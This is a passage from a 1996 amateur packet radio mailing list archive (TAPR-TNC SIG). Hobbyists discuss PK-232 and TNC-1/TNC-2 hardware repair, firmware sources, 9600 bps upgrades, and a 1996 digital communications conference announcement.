allows open squelch operation of the radio, thereby making packet operation
"more efficient". There are other benefits I'm sure, but that is one I
noticed the most after adding the board.

>Not to change the subject, but I presumed your DCD mod works like a charm.
>Question: I have one of those ancient 1986 vintage PK-232 with no mod. What
>exactly does the DCD mod do? If I made the Mod on my PK-232, how would it
>improve the operation?
>
>Thanks.
>
> AL
> """
>   AlChan@aol.com   Al@w6dnt.ampr.org
>
>
>
>
>

Mark L. Hammond   [KC4EBR]

23. Re: [TAPR-TNC:184] pk232/DCD board

From: Greg Jones <wd5ivd@tapr.org>
Date: Wed, 31 Jan 1996 23:17:20 +73800 (CST)
To: tapr-tnc@tapr.org
Message-ID: <199602010517.XAA13454@tapr.org>
Rendered body type: text/plain

There is a long text file about the DCD upgrade in the ftp.tapr.org as well
as on the web page. You might want to check them out.

Also -- has a picture of the kits on the web page.

You should think about getting the PK-232 Disconnect header at the same
time. Makes interface a lot easier.

Cheers - Greg, WD5IVD

>
> I have a PK232 (similar vintage) with the TAPR DCD mod. For starters, it
> allows open squelch operation of the radio, thereby making packet operation
> "more efficient". There are other benefits I'm sure, but that is one I
> noticed the most after adding the board.
>
> >Not to change the subject, but I presumed your DCD mod works like a charm.
> >Question: I have one of those ancient 1986 vintage PK-232 with no mod. What
> >exactly does the DCD mod do? If I made the Mod on my PK-232, how would it
> >improve the operation?
> >
> >Thanks.
> >
> > AL
> > """
> >   AlChan@aol.com   Al@w6dnt.ampr.org
> >
> >
> >
> >
> >
>
>
> Mark L. Hammond   [KC4EBR]

>
>

February 1996

Original source file: tapr-tnc.9602
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9602

1. (Form) Comments from your Home Page from (fwd)

From: Howard Goldstein <howard@Melb.SciAtl.COM>
Date: Mon, 12 Feb 1996 07:37:48 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.SUN.3.91.960212073736.2312A-100000@brandy>
Rendered body type: text/plain

Can anyone help Fernando?

--
Howard Goldstein <howard@melb.sciatl.com>
#include <std_employer_disclaimer.h> <hg@n2wx.ampr.org>

---------- Forwarded message ----------
Date: Mon, 12 Feb 1996 03:13:56 -0600 (CST)
From: Greg Jones <wd5ivd@tapr.org>
To: Howard Goldstein <hg@penny.n2wx.ampr.org>
Subject: (Form) Comments from your Home Page from (fwd)

Hi Howie -- someone for your SIG.

Greg

Forwarded message:
>From ka5dwr Tue Feb 6 14:30:47 1996
From: Dorothy Jones <ka5dwr@tapr.org>
Message-Id: <199602062030.OAA22397@tapr.org>
Subject: (Form) Comments from your Home Page from (fwd)
To: wd5ivd@tapr.org (Greg Jones)
Date: Tue, 6 Feb 1996 14:30:47 -0600 (CST)
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text

Forwarded message:
>From www Tue Feb 6 08:15:12 1996
Date: Tue, 6 Feb 1996 08:15:12 -0600 (CST)
Message-Id: <199602061415.IAA06384@tapr.org>
Reply-to: etfaas@zeus.ci.ua.pt
To: ka5dwr@tapr.org
From: etfaas@zeus.ci.ua.pt
Subject: (Form) Comments from your Home Page from

Name: Fernando A Santos
Callsign: CT1EXT
Email: etfaas@zeus.ci.ua.pt

Address: P.O.Box 2050

City: Aveiro, 3800 Aveiro Portugal

---Comments---
I'd like to find some info about "firmware v1.1.b2". I've only found

infos on 1.1.8, but none on the above. My interess is on the PMS

that I believe 1.1.6 offers, and the others not. Please correct if

I'm wrong.

So, I'd like to hear from you where can I find it, or any other

versions of EPROMs programs with PMS for a TNC2 compatible.

Thank you for your consideration.

Server protocol: HTTP/1.0
HTTP From:
Remote User:
Remote Host: zeus.ci.ua.pt

Remote IP address: 193.136.80.3

2. Re: [TAPR-TNC:186] (Form) Comments from your Home Page from (fwd)

From: Arne Luehrs <arne@gplarne2.grenoble.hp.com>
Date: Mon, 12 Feb 96 19:55:06 +0100
To: tapr-tnc@tapr.org
Message-ID: <9602121855.AA06172@gplarne2.grenoble.hp.com>
Rendered body type: text/plain

Fernando,

The versions of TNC eproms with a PMS in them are special
developments done by Paccomm in the US. Gwyn Reedy should be able
to tell you more about them. In Europe you might want to contact
Siskin Electronics in the UK, addressess can be found on Paccomm's
web pages:
http://www.paccomm.com
good luck
Arne
F/pa0kkv

3. Re: [TAPR-TNC:187] Re: (Form) Comments from your Home Page from (fwd)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 12 Feb 1996 18:19:51 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960212181929.109B-100000@n2wx.ampr.org>
Rendered body type: text/plain

Arne, Fernando doesn't subscribe to the list (so far as I know). You
might want to message him directly?

On Mon, 12 Feb 1996, Arne Luehrs wrote:

> Fernando,
>
> The versions of TNC eproms with a PMS in them are special
> developments done by Paccomm in the US. Gwyn Reedy should be able
> to tell you more about them. In Europe you might want to contact
> Siskin Electronics in the UK, addressess can be found on Paccomm's
> web pages:
> http://www.paccomm.com
> good luck
> Arne
> F/pa0kkv
>

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

4. TNC-1 vs TNC-2

From: Chris Terwilliger <zoom@willow.sps.mot.com>
Date: Fri, 16 Feb 1996 08:27:47 -0700 (MST)
To: tnc sig <tapr-tnc@tapr.org>
Message-ID: <Pine.SUN.3.91.960216082340.6906A-100000@willow>
Rendered body type: text/plain

I have a TNC-1 and am wondering what the differences in capabilities
between it and TNC-2 are. In other words, what improvements were
obtained when tapr designed the TNC-2. I know this is ancient history
as far as tnc's go, but documentation seems a bit thin...this has to be
the quietest SIG mailing list I've ever seen....

Chris, AA7WD

5. old tnc

From: TomKE4QVV@aol.com
Date: Sat, 17 Feb 1996 12:32:37 -0500
To: tapr-tnc@tapr.org
Message-ID: <960217123236_324927952@emout09.mail.aol.com>
Rendered body type: text/plain

I recently picked up a TAPR packet unit at our local hamfest and I am having
trouble getting information and wondered if you can help. I am a relatively
new user to packet and so am not familiar with the TAPR products. The unit I
have says "TUSCON AMATUER PACKET RADIO rev 3" on the printed circuit board.
Could anyone tell me what model this is, and what software is required to
interface with it ?. Is the schematic and or user manual still available ?.

It looks like a well designed TNC, especially for its age, and I am looking
forward to trying it out. I appreciate any assistance you can provide.
Thanx.....

-=Tom=-
KE4QVV

6. [TAPR-TNC:190] old tnc -Reply

From: Paul Cereste <cereste@myapc.com>
Date: Wed, 21 Feb 1996 07:29:30 -0500
To: tapr-tnc@tapr.org
Message-ID: <s12aca97.066@myapc.com>
Rendered body type: text/plain

I'm not familiar with your tnc, however I believe any terminal
emulator will interface with it. I have tried about half dozen
programs myself. My favorite is paKet 6.1, a shareware
program that has a mailbox feature and keeps multiple
streams on their own screens. It is written for DOS.
73, Paul, K1CGZ

7. (no subject)

From: reginald theriault <rrtheri@ibm.net>
Date: Sat, 24 Feb 1996 20:09:40 -0500
To: tapr-tnc@tapr.org
Message-ID: <312FB6D4.DB4@ibm.net>
Rendered body type: text/plain

"unsubscribe"

March 1996

Original source file: tapr-tnc.9603
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9603

1. KISS eprom for AEA TNCs ?

From: ferracci@imaginet.fr (Laurent Ferracci - F1JKJ)
Date: Fri, 01 Mar 1996 22:22:12 GMT
To: tapr-tnc@tapr.org
Message-ID: <31373a6d.5203080@mail.imaginet.fr>
Rendered body type: text/plain

Hi,

A friend of mine has some problems with is AEA PK900:
The KISS-mode doesn't work well with programs like WISP.

As i've heard about some other problems with other AEA TNCs (PK 9612),
i was wondering if anyone knew of a replacement Eprom ?

A KISS-only Eprom would be sufficient...

73's
-- +--------------------------------+-----------------------------------+
-- | From Laurent FERRACCI, F1JKJ | > ferracci@imaginet.fr < |
-- | Montpellier, FRANCE | http://www.imaginet.fr/~ferracci |
-- +--------------------------------+-----------------------------------+
--
-- [PGP key on public-key servers or homepage]

2. 1996 ARRL and TAPR Digital Communications Conference

From: Greg Jones <wd5ivd@tapr.org>
Date: Mon, 4 Mar 1996 15:52:53 -0600 (CST)
To: netsig@tapr.org (NETSIG mailing), bbssig@tapr.org (BBS SIG mailing),
aprssig@tapr.org (BBS SIG mailing), hfsig@tapr.org (HF SIG mailing),
dsp-93@tapr.org (DSP-93 Build), ss@tapr.org, tapr-tnc@tapr.org
Message-ID: <199603042152.PAA21342@tapr.org>
Rendered body type: text/plain

Press Release. Please distribute as widely as possible. http://www.tapr.org
March 1st, 1996

ARRL and TAPR Digital Communications Conference
September 20-22, 1996
Seattle, WA, U.S.A.

1996 ARRL and TAPR Digital Communications Conference

Mark your calendar and start making plans to attend the year's premier event
in amateur radio digital communications --

The 1996 ARRL and TAPR Digital Communications Conference will be held
September 20-22, 1996, in Seattle, Washington -- just minutes from the
SeaTac Airport. Local sponsors include the Puget Sound Amateur Radio TCP/IP
Group and Boeing Employees Amateur Radio Society (BEARS).

The ARRL and TAPR Digital Communications Conference is an international
forum for radio amateurs and experts in digital communications, networking,
and related technologies to meet, publish their work, and present new ideas
and techniques for discussion. Presenters and attendees will have the
opportunity to exchange ideas and learn about recent hardware and software
advances, theories, experimental results, and practical applications. This
year marks the first year in which the ARRL Digital Communications
Conference and TAPR Annual General Meeting have joined into one conference!

Anyone interested in digital communications is invited to submit a paper for
publication in the Conference Proceedings. Presentation at the Conference
is not required for publication. Papers are due by July 23, 1996, and
should be submitted to Maty Weinberg, ARRL, 225 Main St., Newington, CT
06111 U.S.A. or via Internet at lweinberg@arrl.org. Please contact Maty for
detailed format requirements. Papers are due by July 23, 1996

ARRL and TAPR especially welcome papers from full time students to compete
for the first annual student papers award. Two $500 travel awards will be
given, one in each of the following categories: a) best
technical/theory-oriented paper by a student, and b) best educational or

community-oriented application paper by a student. The paper should relate
directly to a wireless digital communication topic (see guidelines for more
information). Papers coauthored by educators or telecommunications
professionals are also eligible for this award, as long as a student is the
first author. First year awards have been funded through a grant by The
ARRL Foundation, Inc. Deadline for receipt of finished student paper
manuscript: June 11, 1996. Please note that this deadline is different than
the general conference submission date. For full details and paper
guidelines, contact TAPR or check http://www.tapr.org.

The current schedule has a workshop and student papers on Friday afternoon.
Conference Papers, Introductory thread, Lunch, and Dinner on Saturday.
Sunday will have additional paper sessions, if necessary, as well as one or
more workshops. Workshops will include Keith Sproul, WU2Z, on APRS
packet-location software, Dewayne Hendricks, WA8DZP , on "How to utilize
Part 15 Radios for Ham Applications" and a workshop on Wireless Networking
using WA4DSY 56K RF modem technology and its accessories. See the advanced
registration form for more details as well as http://www.tapr.org

For more information on the Conference, registration, and hotel reservations
please contact TAPR at the address below.

TAPR Office:
8987-309 E. Tanque Verde Rd. #337
Tucson, AZ 85749-9399
Phone: (817) 383-0000
Fax: (817) 566-2544

Internet E-Mail: tapr@tapr.org
Internet Web: http://www.tapr.org

3. NETROM/THE NET

From: dmedley@ix.netcom.com (David Medley)
Date: Sat, 9 Mar 1996 09:03:57 -0800
To: tapr-tnc@tapr.org
Message-ID: <199603091703.JAA29232@ix2.ix.netcom.com>
Rendered body type: text/plain

In order to assist a TAPR member I need the hex code for a NETROM or THE NET
EPROM with the editor. I have the EPROM programmer and its software.
This info must be on the WWW somewhere.
Thanks de Dave KI6QE

4. Re: [TAPR-TNC:195] NETROM/THE NET

From: Dino Moriello <dino@CAM.ORG>
Date: Sat, 9 Mar 1996 13:09:54 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <199603091809.NAA17498@Stratus.CAM.ORG>
Rendered body type: text/plain

'David Medley' wrote:
>
> In order to assist a TAPR member I need the hex code for a NETROM or THE NET
> EPROM with the editor. I have the EPROM programmer and its software.
> This info must be on the WWW somewhere.
> Thanks de Dave KI6QE
>
>

check ftp://ftp.cam.org/users/dino for nedax1j4.zip

it has all you need plus more..

-dino

--


```
+-------------------------------------------------------------+
| Dino Moriello               Montreal, Quebec, CANADA        |
| Internet: dino@dino.qc.ca   WWW: [http://www.cam.org/~dino/] |
|           dino@teleDM.com   AX.25: ve2dm@ve2fkb             |
|           ve2dm@amsat.org                                   |
+-------------------------------------------------------------+
```


5. Ancient TNC

From: dmedley@ix.netcom.com (David Medley)
Date: Sat, 9 Mar 1996 10:50:58 -0800
To: TAPR-TNC@tapr.org

Message-ID: <199603091850.KAA03208@ix8.ix.netcom.com>
Rendered body type: text/plain

I have been sent by a TAPR member a TNC for repair. I have never seen one
like this before and would appreciate some help.
The unit is contained in a fancy steel box 12 x 8 1/2 x 3 1/2 inches.
The front panel has "TERMINAL NODE CONTROLLER" in white letters as well as
"Tucson Amateur Packet Radio". There are 8 LEDs to the left marked AUDIO
CW-ID RESET DCD TXD and PTT. There are two marked AUDIO and the eighth is
blank. There are four switches to the right marked PWR (It has an internal
power supply) SOFT/HARD (this just above the reset push button) RAM/ROM and
BANK1/BANK0
The only markings I can see on the circuit board is a serial number(1441)
and TNC Rev3 with the TAPR logo.
There are four EPROMS installed marked A000 3.2 8000 3.2 and two WA8DED v 3.2
The owner wants it converted to be used as a regular TNC.
Is this by any chance a TNC-1? If not what is it and can it be used as a
regular TNC. If so what firmware do I need?
I would appreciate some help on this.
73 de Dave KI6QE

6. Re: [TAPR-TNC:197] Ancient TNC

From: "Tom Moulton" <tmoulton@ram.net>
Date: Sat, 09 Mar 96 16:58:27 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.23b8@ram.net>
Rendered body type: text/plain

That sounds like a TNC-1 to me!

There sould be TNC 1 binaries around tapr.org...

>I have been sent by a TAPR member a TNC for repair. I have never seen one
>like this before and would appreciate some help.
>The unit is contained in a fancy steel box 12 x 8 1/2 x 3 1/2 inches.
>The front panel has "TERMINAL NODE CONTROLLER" in white letters as well as
>"Tucson Amateur Packet Radio". There are 8 LEDs to the left marked AUDIO
>CW-ID RESET DCD TXD and PTT. There are two marked AUDIO and the eighth is
>blank. There are four switches to the right marked PWR (It has an internal
>power supply) SOFT/HARD (this just above the reset push button) RAM/ROM and
>BANK1/BANK0
>The only markings I can see on the circuit board is a serial number(1441)
>and TNC Rev3 with the TAPR logo.
>There are four EPROMS installed marked A000 3.2 8000 3.2 and two WA8DED v
>3.2
>The owner wants it converted to be used as a regular TNC.
>Is this by any chance a TNC-1? If not what is it and can it be used as a
>regular TNC. If so what firmware do I need?
>I would appreciate some help on this.
>73 de Dave KI6QE
>

****
Thomas A. Moulton, W2VY
w2vy@ram.net

7. TNC-1

From: dmedley@ix.netcom.com (David Medley)
Date: Sat, 9 Mar 1996 15:44:06 -0800
To: tapr-tnc@tapr.org
Cc: cbuttsch@slonet.org
Message-ID: <199603092344.PAA11999@ix5.ix.netcom.com>
Rendered body type: text/plain

Well I have determined that what I have here is a TNC-1. Never seen one before.
It has two banks of ROM, switchable. One is loaded with WA8DED Eproms and
the other bank has what are presumably TNC-1 EPROMS. Anyway if you switch to
Bank 0 it signs on as WA8DED but will not accept any further commands.
Switching to bank 2 and rebooting it says "Please type a star (*) for
autobaud routine". Typing a * does not do anything. It just repeats the message.
It does not accept any input from the keyboard. Not having a schematic I am
somewhat in the dark as to what the problem is. Someone out there must
remember this beast and could help me trouble shoot it.
73 de Dave KI6QE

8. Mark Schroeder's message

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sun, 10 Mar 1996 09:02:42 -0500 (EST)
To: tapr-tnc@tapr.org

Message-ID: <Pine.LNX.3.91.960310090123.372D-100000@n2wx.ampr.org>
Rendered body type: text/plain

The listproc didn't want to take Mark's posting, complaining about a
message id in the body. Here it is again

>From Mark.Schroeder@mail.co.ventura.ca.us Sat Mar 09 14:20:18 1996
Received: from mailhq.co.ventura.ca.us (mailhq.co.ventura.ca.us [157.145.4.29]) by tapr.org
(8.7.5/8.7.3/1.8) with SMTP id OAA06326 for <tapr-tnc@tapr.org>; Sat, 9 Mar 1996 14:20:14 -0600 (CST)
From: Mark.Schroeder@mail.co.ventura.ca.us
Received: by mailhq.co.ventura.ca.us
        (1.38.193.5/16.2) id AA07311; Sat, 9 Mar 1996 12:26:34 -0800
Received: by mail.co.ventura.ca.us via Worldtalk with X400 (3.0.4/1.64)
        id WT23785.88; Sat, 09 Mar 1996 12:26:33 PST
Date: 9 Mar 96 12:18:00 -0800
To: tapr-tnc@tapr.org
Subject: Re: [TAPR-TNC:197] Ancient TNC
Ua-Content-Id: Re: [TAPR-TN
P1-Recipient: tapr-tnc@tapr.org
P1-Message-Id: US*TELEMAIL*VENTURACO;c\fire\960309122622a
Original-Encoded-Information-Types: IA5-Text
X400-Trace: US*TELEMAIL*VENTURACO; arrival 960309121800-0800 deferred 960309121800-0800 action Relayed
Message-Id:
<M220069.001.0orz0.7007.960309202622Z.CC-MAIL*/O=FIRE/PRMD=VENTURACO/ADMD=TELEMAIL/C=US/@MHS>
P1-Content-Type: P2

Message authorized by:
    : dmedley@ix.netcom.com_at_internet at VC_GATEWAY
     Yes this is an original one (1). All you need is the TAPR software for
     it. The DED can be used, but you need to get the manuals from TAPR.

     >Mark<

9. (no subject)

From: firebird <firebird@idola.net.id>
Date: Mon, 11 Mar 1996 00:24:58 +0700
To: tapr-tnc@tapr.org
Message-ID: <9603101724.AA29789@elang.idola.net.id>
Rendered body type: text/plain

subscribe

10. Periodic posting

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 15 Mar 1996 17:52:04 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960315175144.187A-100000@n2wx.ampr.org>
Rendered body type: text/plain

Tucson Amateur Packet Radio TAPR-TNC SIG

This message will be posted periodically. Last post: 05 jan 96

To Unsubscribe:

To leave the TAPR-TNC SIG, send a message to

     listproc@tapr.org

with a blank subject. In the body of your message, write

     SIGNOFF TAPR-TNC

Statement of Purpose

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs. It is not moderated at this
time; list subscribers are requested to remain on topic and use discretion
to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the rec.radio.amateur.* hierarchy.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"
Please try the newsgroups.

At times, you may find your post is relevant to one of the other fine
TAPR SIGs as well as this one. Initial crossposting is not necessarily a
bad idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The moderator reserves the right to deal with flames and
off-topic posts from a stance somewhere between complete arbitrariness and
Solomonesque. Hopefully more of the latter than the former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain the answer to your questions. You may wish to skim these
resources before to posting to the list:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                        and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

11. TNC-1 Help

From: dmedley@ix.netcom.com (David Medley)
Date: Fri, 15 Mar 1996 19:38:43 -0800
To: TAPR-TNC@tapr.org
Message-ID: <199603160338.TAA05617@ix11.ix.netcom.com>
Rendered body type: text/plain

I have a TNC-1 with a fault I have had a problem to fix. This is one of the
original units with bank switching. One bank has WA8DED software and the
other has ver 3.2 TAPR software. On booting up with the WA8DED switched in
it signs on as expected but will accept no commands. With the 3.2 switched
in it comes up with the auto speed * message but will not accept the * or
any commands for that matter. Does anyone out there remember this beast and
have any suggestions as to what might be wrong? It bears only a rather
superficial resemblance to the TNC-2 and the ICs installed are mostly quite
different and not in my junk box so I have been unable to do the IC swapping
routine. Any help would be appreciated.
Thanks de Dave KI6QE

12. Re: [TAPR-TNC:203] TNC-1 Help

From: "Gwyn Reedy, W1BEL" <gwyn@paccomm.com>
Date: Sat, 16 Mar 1996 16:34:33 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.960316163252.22898S-100000@paccomm>
Rendered body type: text/plain

On Fri, 15 Mar 1996, David Medley wrote:

> I have a TNC-1 with a fault I have had a problem to fix. This is one of the
> original units with bank switching. One bank has WA8DED software and the
> other has ver 3.2 TAPR software. On booting up with the WA8DED switched in
> it signs on as expected but will accept no commands. With the 3.2 switched
> in it comes up with the auto speed * message but will not accept the * or

> any commands for that matter. Does anyone out there remember this beast and
> have any suggestions as to what might be wrong? It bears only a rather
> superficial resemblance to the TNC-2 and the ICs installed are mostly quite
> different and not in my junk box so I have been unable to do the IC swapping
> routine. Any help would be appreciated.
> Thanks de Dave KI6QE

Sounds like an RS-232 level converter is blown out. I have several TNC-1s
in my museum, but don't remember them very well. If you trace the data
coming in from your terminal with a scope, I'll bet it disappears when it
goes through the 232 receiver chip.

73,
Gwyn

13. Re: [TAPR-TNC:204] Re: TNC-1 Help

From: Don Knollinger <dknol@ovnet.com>
Date: Sat, 16 Mar 1996 19:39:01 -0500
To: tapr-tnc@tapr.org
Message-ID: <199603170039.TAA28988@ahcbsd1.ovnet.com>
Rendered body type: text/plain

At 05:22 PM 3/16/96 -0600, you wrote:
>On Fri, 15 Mar 1996, David Medley wrote:
>
>> I have a TNC-1 with a fault I have had a problem to fix. This is one of the
>> original units with bank switching. One bank has WA8DED software and the
>> other has ver 3.2 TAPR software. On booting up with the WA8DED switched in
>> it signs on as expected but will accept no commands. With the 3.2 switched
>> in it comes up with the auto speed * message but will not accept the * or
>> any commands for that matter. Does anyone out there remember this beast and
>> have any suggestions as to what might be wrong? It bears only a rather
>> superficial resemblance to the TNC-2 and the ICs installed are mostly quite
>> different and not in my junk box so I have been unable to do the IC swapping
>> routine. Any help would be appreciated.
>> Thanks de Dave KI6QE
>
>
>Sounds like an RS-232 level converter is blown out. I have several TNC-1s
>in my museum, but don't remember them very well. If you trace the data
>coming in from your terminal with a scope, I'll bet it disappears when it
>goes through the 232 receiver chip.
>
>73,
>Gwyn
>
I agree with Gwyn.. My TNC-1 has been in use here, since I built it..in 1983
(or '84).. Modified it years ago with the TAPR TNC2 conversion kit.. Only
problem I've had is with the rs-232 chips.. gl!

73 Don WB8ZTV

(==)
(Donald E. Knollinger....WB8ZTV   Internet: dknol@ovnet.com   )
(RD #4 Box 230   Compuserve: 76606,2135   )
(Moundsville, WV   Packet Radio: wb8ztv@wa8omr.#nwv.wv.usa.noam)
(26041   Voice/Fax: (304) 845-1301   )
(==)

14. Re: [TAPR-TNC:205] Re: TNC-1 Help

From: dmedley@ix.netcom.com (David Medley)
Date: Sat, 16 Mar 1996 22:02:42 -0800
To: tapr-tnc@tapr.org
Message-ID: <199603170602.WAA12434@ix8.ix.netcom.com>
Rendered body type: text/plain

>>Sounds like an RS-232 level converter is blown out. I have several TNC-1s
>>in my museum, but don't remember them very well. If you trace the data
>>coming in from your terminal with a scope, I'll bet it disappears when it
>>goes through the 232 receiver chip.
>>
>>73,
>>Gwyn
>>
>I agree with Gwyn.. My TNC-1 has been in use here, since I built it..in 1983
>(or '84).. Modified it years ago with the TAPR TNC2 conversion kit.. Only
>problem I've had is with the rs-232 chips.. gl!
>

Gwyn and Don thanks. My problem is I do not have a schematic or any other
info but this is on the way (I hope). In the meanwhile it would help if you
(Don as you have a working one in front of you) could identify the RS-232
chips for me. I don't see anything in this machine that I recognize!!
There are two chips marked MC1448N and MC1449N that look like they may be
the ones?
What did the TNC2 conversion involve Don?
I know these are dumb questions but without a schematic one really is flying
blind.
73 de Dave KI6QE

15. Re: [TAPR-TNC:206] Re: TNC-1 Help

From: Greg Jones <wd5ivd@tapr.org>
Date: Sun, 17 Mar 1996 02:18:21 -0600 (CST)
To: tapr-tnc@tapr.org
Message-ID: <199603170818.CAA08232@tapr.org>
Rendered body type: text/plain

HI Dave. While I was at the office during Spring Break I pulled the TNC-1
info you needed from the files. Dorothy should be copying it nd sending it
to you.

Cheers - Greg

>
>
> >>Sounds like an RS-232 level converter is blown out. I have several TNC-1s
> >>in my museum, but don't remember them very well. If you trace the data
> >>coming in from your terminal with a scope, I'll bet it disappears when it
> >>goes through the 232 receiver chip.
> >>
> >>73,
> >>Gwyn
> >>
> >I agree with Gwyn.. My TNC-1 has been in use here, since I built it..in 1983
> >(or '84).. Modified it years ago with the TAPR TNC2 conversion kit.. Only
> >problem I've had is with the rs-232 chips.. gl!
> >
> Gwyn and Don thanks. My problem is I do not have a schematic or any other
> info but this is on the way (I hope). In the meanwhile it would help if you
> (Don as you have a working one in front of you) could identify the RS-232
> chips for me. I don't see anything in this machine that I recognize!!
> There are two chips marked MC1448N and MC1449N that look like they may be
> the ones?
> What did the TNC2 conversion involve Don?
> I know these are dumb questions but without a schematic one really is flying
> blind.
> 73 de Dave KI6QE
>
>

16. 9600Bps ready TNC ?

From: ferracci@imaginet.fr (Laurent Ferracci - F1JKJ)
Date: Sun, 17 Mar 1996 13:23:51 GMT
To: tapr-tnc@tapr.org
Message-ID: <314bfc4a.1031683@mail.imaginet.fr>
Rendered body type: text/plain

Hi,

As i'm building a new TNC2, i'd like it to be ready to be upgraded to
9600Bps. I know it has to run faster than 4,9Mhz (~9mhz) but i'd like
to know:
        -What is the exact crystal value ?
        -Does it need a simple crystal, or a crystal-oscillator ?
        -What parts will i have to change (Z80 CPU, SIO, RAM, Eprom ?)
        -What are the references for these parts (what speed ? 10Mhz
for Z80, 150ns for Eprom ?...)

I also know it is possible to have two firmwares in a single 512b
Eprom: What would be the adresses of the beginning&end of each
program, and how to make the "bankswitching" ?

[If there is a french reader of this message, i'm also looking for a
well-sized box for my future TNC. Email me if you have an adress]

   +--------------------------+-----------------------------------+

```
-- | Laurent FERRACCI          |   Email:   ferracci@imaginet.fr    |--
-- | 22ans, Etudiant en Droit  |   http://www.imaginet.fr/~ferracci |--
-- | Montpellier (FRANCE)      |   AX25:    F1JKJ@F1RVP.FMLR.FRA.EU |--
   +---------------------------+------------------------------------+
```

17. Re: [TAPR-TNC:206] Re: TNC-1 Help

From: "Andrew B. White" <k9cw@prairienet.org>
Date: Sun, 17 Mar 1996 07:37:40 -0600 (CST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.3.89.9603170750.A26430-0100000@firefly.prairienet.org>
Rendered body type: text/plain

On Sun, 17 Mar 1996, David Medley wrote:

> There are two chips marked MC1448N and MC1449N that look like they may be
> the ones?
>
Dave, the MC1489N is the RS232 receiver. This is a standard part
available from many sources, but if you need it quick, Radio Shack has
them for sale. The price is obscene, but what can you do?

Good luck! 73, Drew

```
*-----------------------------*-------------------------------------*
|    Andrew B. White  K9CW    |    internet: k9cw@prairienet.org    |
|    ABW Associates, Ltd.     |   phone/fax: 217-643-7327           |
*-----------------------------*-------------------------------------*
```

18. Re: [TAPR-TNC:207] Re: TNC-1 Help

From: Don Knollinger <dknol@ovnet.com>
Date: Sun, 17 Mar 1996 09:43:20 -0500
To: tapr-tnc@tapr.org
Message-ID: <199603171444.JAA10891@ahcbsd1.ovnet.com>
Rendered body type: text/plain

At 02:23 AM 3/17/96 -0600, you wrote:
>HI Dave. While I was at the office during Spring Break I pulled the TNC-1
>info you needed from the files. Dorothy should be copying it nd sending it
>to you.
>
>Cheers - Greg
>
>>
>>
>> >>Sounds like an RS-232 level converter is blown out. I have several TNC-1s
>> >>in my museum, but don't remember them very well. If you trace the data
>> >>coming in from your terminal with a scope, I'll bet it disappears when it
>> >>goes through the 232 receiver chip.
>> >>
>> >>73,
>> >>Gwyn
>> >>
>> >I agree with Gwyn.. My TNC-1 has been in use here, since I built it..in 1983
>> >(or '84).. Modified it years ago with the TAPR TNC2 conversion kit.. Only
>> >problem I've had is with the rs-232 chips.. gl!
>> >
>> Gwyn and Don thanks. My problem is I do not have a schematic or any other
>> info but this is on the way (I hope). In the meanwhile it would help if you
>> (Don as you have a working one in front of you) could identify the RS-232
>> chips for me. I don't see anything in this machine that I recognize!!
>> There are two chips marked MC1448N and MC1449N that look like they may be
>> the ones?
>> What did the TNC2 conversion involve Don?
>> I know these are dumb questions but without a schematic one really is flying
>> blind.
>> 73 de Dave KI6QE
>>
Hi Dave:
No Problem!! The 1488 & 89 are the rs-232 chips. The "TNC-2" mod was a
"kit" from TAPR. It essentially added the digital circuitry of the TNC-2 to
the TNC-1 along with "bank switching" that provides selectable firmware,
(two sets of TNC-2 firmware & the TNC-1 firmware.)... I don't believe the
kit is available anymore. Mine was installed in 1990.
If you can't find a schematic for the TNC-1...let me know & I'll send ya a
copy..gl & 73
Don

```
(==============================================================================)
( Donald E. Knollinger....WB8ZTV   Internet: dknol@ovnet.com                   )
( RD #4 Box 230                  Compuserve: 76606,2135                       )
( Moundsville, WV              Packet Radio: wb8ztv@wa8omr.#nwv.wv.usa.noam )
( 26041                           Voice/Fax: (304) 845-1301                  )
(==============================================================================)
```

19. Read call sign of digi

From: w5rkn@amsat.org (Ronald G. Parsons)
Date: Wed, 20 Mar 1996 11:15:22 -0600
To: tapr-tnc@tapr.org
Message-ID: <v02140b00ad75ec48ffde@[204.251.33.13]>
Rendered body type: text/plain

Is there a way to see the "real" call sign of a digi which digi's using an alias?

Consider the following monitor output where W5RKN was using "VIA RELAY,RELAY"

W5RKN-15>APRS,RELAY*,RELAY:$GPGGA,...
W5RKN-15>APRS,RELAY,RELAY*:$GPGGA,...

There were three digipeaters with alias RELAY possibly in range. How can one determine which RELAY was which?

Ron W5RKN

also:
rparsons@bga.com

20. TNC-2 Tuning Aid

From: tedant@usa.pipeline.com (Theodore Antanaitis)
Date: Thu, 21 Mar 1996 06:51:01 GMT
To: tapr-tnc@tapr.org
Message-ID: <199603210651.GAA05893@pipe16.h1.usa.pipeline.com>
Rendered body type: text/plain

If anyone could provide/point me to a schematic, article, or kit vendor for an HF tuning indicator (preferably LED) for a TNC-2, I would be grateful.

